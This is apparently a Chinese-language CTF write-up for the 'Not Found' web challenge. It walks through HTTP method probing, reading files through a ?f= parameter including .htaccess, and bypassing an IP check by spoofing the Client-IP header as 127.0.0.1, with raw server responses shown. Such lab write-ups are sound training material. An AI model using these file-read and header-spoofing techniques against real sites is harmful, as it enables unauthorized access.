i春秋 “百度杯”CTF比賽 十月場Not Found
阿新 • • 發佈：2018-11-10
https://www.ichunqiu.com/battalion?t=1&r=0
這道題目考察的是HTTP的幾種請求方法，當我們使用GET方法請求網站根目錄時，會出現404錯誤，在返回頁面中出現X-Method欄位，值為haha，其實這就是在提示我們考慮請求方法，HTTP的請求方法一共就那麼幾種，我們挨個試，當試到OPTIONS方法的時候，出現了這個頁面：
HTTP/1.1 302 Found Server: nginx/1.10.2 Date: Mon, 24 Sep 2018 03:01:25 GMT Content-Type: text/html Content-Length: 220 Connection: close X-Powered-By: PHP/5.5.9-1ubuntu4.19 Location: ?f=1.php <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /404.php was not found on this server.</p> </body></html>Not allowed file
Location欄位為我們指了一條明路，在網站根目錄後加上?f=1.php，繼續訪問：
HTTP/1.1 302 Found Server: nginx/1.10.2 Date: Mon, 24 Sep 2018 03:03:04 GMT Content-Type: text/html Content-Length: 79 Connection: close X-Powered-By: PHP/5.5.9-1ubuntu4.19 Location: ?f=1.php <?php $msg = "not here"; $msg .= PHP_EOL; $msg .="plz trying"; echo $msg;
改變引數，替換成index.php、flag.php，均無法訪問
HTTP/1.1 302 Found
Server: nginx/1.10.2
Date: Mon, 24 Sep 2018 03:03:49 GMT
Content-Type: text/html
Content-Length: 16
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Location: ?f=1.php
Not allowed file
在Appache搭建的網站中，根目錄下存在.htaccess檔案，我們嘗試著訪問一下:
HTTP/1.1 302 Found Server: nginx/1.10.2 Date: Mon, 24 Sep 2018 03:04:58 GMT Content-Type: text/html Content-Length: 94 Connection: close X-Powered-By: PHP/5.5.9-1ubuntu4.19 Location: ?f=1.php RewriteEngine On RewriteBase / RewriteRule ^8d829d8568e46455104209db5cd9228d.html$ 404.php [L]
然後我們順藤摸瓜，去訪問8d829d8568e46455104209db5cd9228d.html
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 24 Sep 2018 03:05:48 GMT
Content-Type: text/html
Content-Length: 22
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
ip incorrect ???XFF???
提示說我們的客戶IP不正確，去更改X-Forward-For欄位的值，更改為本地客戶127.0.0.1
結果還是不行，我們換另一個欄位client-ip，成功得到flag